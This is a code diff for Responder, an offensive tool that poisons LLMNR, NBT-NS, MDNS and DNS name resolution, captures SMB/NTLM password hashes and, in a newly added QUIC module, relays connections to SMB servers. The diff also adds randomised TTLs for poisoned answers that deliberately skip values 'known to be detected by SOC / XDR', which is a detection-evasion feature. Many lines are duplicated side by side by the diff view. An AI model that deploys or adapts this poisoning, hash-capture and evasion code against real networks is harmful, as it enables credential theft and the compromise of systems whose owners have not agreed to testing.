print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR6', 'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],

View file

@ -23,6 +23,9 @@ else:
from packets import MDNS_Ans, MDNS6_Ans from packets import MDNS_Ans, MDNS6_Ans
from utils import * from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data): def Parse_MDNS_Name(data):
try: try:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
@ -70,7 +73,11 @@ class MDNS(BaseRequestHandler):
}) })
elif MDNSType == True: # Poisoning Mode elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data) Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name) Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate() Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode: if not settings.Config.Quiet_Mode:
@ -82,9 +89,13 @@ class MDNS(BaseRequestHandler):
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
elif MDNSType == 'IPv6': # Poisoning Mode elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data) Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
Buffer.calculate() Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode: if not settings.Config.Quiet_Mode:

View file

@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode else: # Poisoning Mode
if settings.Config.TTL == None:
Buffer1 = NBT_Ans() Buffer1 = NBT_Ans()
else:
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
Buffer1.calculate(data) Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode: if not settings.Config.Quiet_Mode:

View file

@ -1 +1,2 @@
aioquic
netifaces>=0.10.4 netifaces>=0.10.4

View file

@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3":
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data): def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20] OPT = data[len(data)-22:len(data)-20]
@ -65,14 +68,14 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans() buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans() buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans() buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT() buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))

168
servers/QUIC.py Normal file
View file

@ -0,0 +1,168 @@
import asyncio
import logging
import ssl
import argparse
import netifaces
from utils import *
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
BUFFER_SIZE = 11000
def get_interface_ip(interface_name):
"""Get the IP address of a network interface."""
try:
# Get address info for the specified interface
addresses = netifaces.ifaddresses(interface_name)
# Get IPv4 address (AF_INET = IPv4)
if netifaces.AF_INET in addresses:
return addresses[netifaces.AF_INET][0]['addr']
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
if netifaces.AF_INET6 in addresses:
return addresses[netifaces.AF_INET6][0]['addr']
logging.error(f"[!] No IP address found for interface {interface_name}")
return None
except ValueError:
logging.error(f"[!] Interface {interface_name} not found")
return None
class QUIC(QuicConnectionProtocol):
def __init__(self, *args, target_address=None, **kwargs):
super().__init__(*args, **kwargs)
self.tcp_connections = {} # stream_id -> (reader, writer)
self.target_address = target_address or "localhost"
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
# Only try to close connections if we have any
if self.tcp_connections:
asyncio.create_task(self.close_all_tcp_connections())
async def handle_stream_data(self, stream_id, data):
if stream_id not in self.tcp_connections:
# Create a new TCP connection to the target interface:445
try:
reader, writer = await asyncio.open_connection(self.target_address, 445)
self.tcp_connections[stream_id] = (reader, writer)
# Start task to read from TCP and write to QUIC
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
except Exception as e:
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
return
# Forward data from QUIC to TCP
try:
_, writer = self.tcp_connections[stream_id]
writer.write(data)
await writer.drain()
except Exception as e:
logging.error(f"[!] Error writing to TCP: {e}")
await self.close_tcp_connection(stream_id)
async def tcp_to_quic(self, stream_id, reader):
try:
while True:
data = await reader.read(BUFFER_SIZE)
if not data:
break
self._quic.send_stream_data(stream_id, data)
self.transmit()
except Exception as e:
logging.error(f"[!] Error reading from TCP: {e}")
finally:
await self.close_tcp_connection(stream_id)
async def close_tcp_connection(self, stream_id):
if stream_id in self.tcp_connections:
_, writer = self.tcp_connections[stream_id]
writer.close()
await writer.wait_closed()
del self.tcp_connections[stream_id]
async def close_all_tcp_connections(self):
try:
# Make a copy of the keys to avoid modification during iteration
stream_ids = list(self.tcp_connections.keys())
for stream_id in stream_ids:
try:
await self.close_tcp_connection(stream_id)
except KeyError:
# Silently ignore if the stream ID no longer exists
pass
except Exception as e:
# Catch any other exceptions that might occur
logging.debug(f"[!] Error closing TCP connections: {e}")
async def start_quic_server(listen_interface, cert_path, key_path):
# Configure QUIC
configuration = QuicConfiguration(
alpn_protocols=["smb"],
is_client=False,
)
# Load certificate and private key
try:
configuration.load_cert_chain(cert_path, key_path)
except Exception as e:
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
return
# Resolve interfaces to IP addresses
listen_ip = listen_interface
if not is_ip_address(listen_interface):
listen_ip = get_interface_ip(listen_interface)
if not listen_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
target_ip = listen_interface
if not is_ip_address(listen_interface):
target_ip = get_interface_ip(listen_interface)
if not target_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
# Start QUIC server with correct protocol factory
server = await serve(
host=listen_ip,
port=443,
configuration=configuration,
create_protocol=lambda *args, **kwargs: QUIC(
*args,
target_address=target_ip,
**kwargs
)
)
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
# Keep the server running forever
await asyncio.Future()
def is_ip_address(address):
"""Check if a string is a valid IP address."""
import socket
try:
socket.inet_pton(socket.AF_INET, address)
return True
except socket.error:
try:
socket.inet_pton(socket.AF_INET6, address)
return True
except socket.error:
return False

View file

@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close() self.request.close()
#LSARPC #LSARPC
@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close() self.request.close()
#WINSPOOL #WINSPOOL
@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close() self.request.close()
#NetLogon #NetLogon
@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
#RPC.calculate() #RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC))) #self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024) #data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1)) #print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception: except Exception:
self.request.close() self.request.close()

View file

@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2. ## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge) ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data() t = SMB2Session2Data()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
else: else:
ParseLMNTHash(data,self.client_address[0], Challenge) ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty()) Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet) Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))

View file

@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler):
except: except:
self.request.close() self.request.close()
raise
pass pass

View file

@ -23,7 +23,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 3.1.4.0' __version__ = 'Responder 3.1.6.0'
class Settings: class Settings:
@ -115,10 +115,16 @@ class Settings:
config = ConfigParser.ConfigParser() config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
# Servers # Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
@ -167,6 +173,27 @@ class Settings:
self.DHCP_DNS = options.DHCP_DNS self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6 self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
if options.TTL is None:
self.TTL = None
# Random TTL
elif options.TTL.upper() == "RANDOM":
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()
if self.Interface == "ALL": if self.Interface == "ALL":
self.Bind_To_ALL = True self.Bind_To_ALL = True
@ -260,6 +287,7 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName #add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL'] self.MDNSTLD = ['.LOCAL']
@ -332,10 +360,12 @@ class Settings:
NetworkCard = "Error fetching Network Interfaces:", ex NetworkCard = "Error fetching Network Interfaces:", ex
pass pass
try: try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as ex: DNS = p.stdout.read()
DNS = "Error fetching DNS configuration:", ex except:
pass p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
try: try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except: except:
@ -348,7 +378,7 @@ class Settings:
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try: try:
utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self)) #utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex: except AttributeError as ex:
print("Missing Module:", ex) print("Missing Module:", ex)
pass pass

View file

@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
def SMB2SigningMandatory(data): def SMB2SigningMandatory(data):
global SMB2signing global SMB2signing
if data[70:71] == b"\x03": if data[70:71] == "\x03":
SMB2signing = "True" SMB2signing = "True"
else: else:
SMB2signing = "False" SMB2signing = "False"
@ -123,7 +123,7 @@ def WorkstationFingerPrint(data):
b"\x06\x01" :"Windows 7/Server 2008R2", b"\x06\x01" :"Windows 7/Server 2008R2",
b"\x06\x02" :"Windows 8/Server 2012", b"\x06\x02" :"Windows 8/Server 2012",
b"\x06\x03" :"Windows 8.1/Server 2012R2", b"\x06\x03" :"Windows 8.1/Server 2012R2",
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
}.get(data, 'Other than Microsoft') }.get(data, 'Other than Microsoft')
def GetOsBuildNumber(data): def GetOsBuildNumber(data):
@ -201,7 +201,7 @@ def IsDCVuln(t, host):
##################### #####################
def IsSigningEnabled(data): def IsSigningEnabled(data):
if data[39:40] == b"\x0f": if data[39:40] == "\x0f":
return 'True' return 'True'
else: else:
return 'False' return 'False'
@ -251,7 +251,6 @@ def DomainGrab(Host):
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0)) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00': if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data) return GetHostnameAndDomainName(data)
except IOError as e: except IOError as e:
@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host):
if not data: if not data:
break break
except Exception: except Exception:
pass return False
else: else:
return False return False

View file

@ -1,4 +1,5 @@
import random, struct, sys import random, struct, sys, os
from os import urandom
from socket import * from socket import *
from time import sleep from time import sleep
from odict import OrderedDict from odict import OrderedDict
@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
("SecurityMode", "\x01\x00"), ("SecurityMode", "\x01\x00"),
("Reserved","\x00\x00"), ("Reserved","\x00\x00"),
("Capabilities","\x00\x00\x00\x00"), ("Capabilities","\x00\x00\x00\x00"),
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"), ("ClientGUID", urandom(16).decode('latin-1')),
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"), ("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
("Dialect1","\x02\x02"), ("Dialect1","\x02\x02"),
("Dialect2","\x10\x02"), ("Dialect2","\x10\x02"),

View file

@ -30,6 +30,11 @@ try:
except: except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
try:
import aioquic
except:
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
from calendar import timegm from calendar import timegm
def if_nametoindex2(name): def if_nametoindex2(name):
@ -122,7 +127,10 @@ def RespondToThisIP(ClientIp):
return False return False
def RespondToThisName(Name): def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
return False
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False return False
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName: if Name.upper() not in settings.Config.DontRespondToName:
@ -219,6 +227,16 @@ def FindLocalIP(Iface, OURIP):
print(color("[!] Error: %s: Interface not found" % Iface, 1)) print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1) sys.exit(-1)
def Probe_IPv6_socket():
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
if not socket.has_ipv6:
return False
try:
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
s.bind(("::1", 0))
return True
except:
return False
def FindLocalIP6(Iface, OURIP): def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL': if Iface == 'ALL':
@ -234,7 +252,6 @@ def FindLocalIP6(Iface, OURIP):
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1)) s.connect((randIP+':80', 1))
IP = s.getsockname()[0] IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP return IP
except: except:
try: try:
@ -468,26 +485,18 @@ def banner():
]) ])
print(banner) print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" To support this project:")
print(" Github -> https://github.com/sponsors/lgandx")
print(" Paypal -> https://paypal.me/PythonResponder")
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('') print('')
def StartupMessage(): def StartupMessage():
enabled = color('[ON]', 2, 1) enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1) disabled = color('[OFF]', 1, 1)
print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
print('') print('')
print(color("[+] ", 2, 1) + "Poisoners:") print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled)) print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled)) print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
print(' %-27s' % "DNS" + enabled) print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('') print('')
@ -550,6 +559,12 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName): if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
if len(settings.Config.DontRespondToTLD):
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
if settings.Config.TTL == None:
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
else:
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
print('') print('')
print(color("[+] ", 2, 1) + "Current Session Variables:") print(color("[+] ", 2, 1) + "Current Session Variables:")
@ -557,3 +572,7 @@ def StartupMessage():
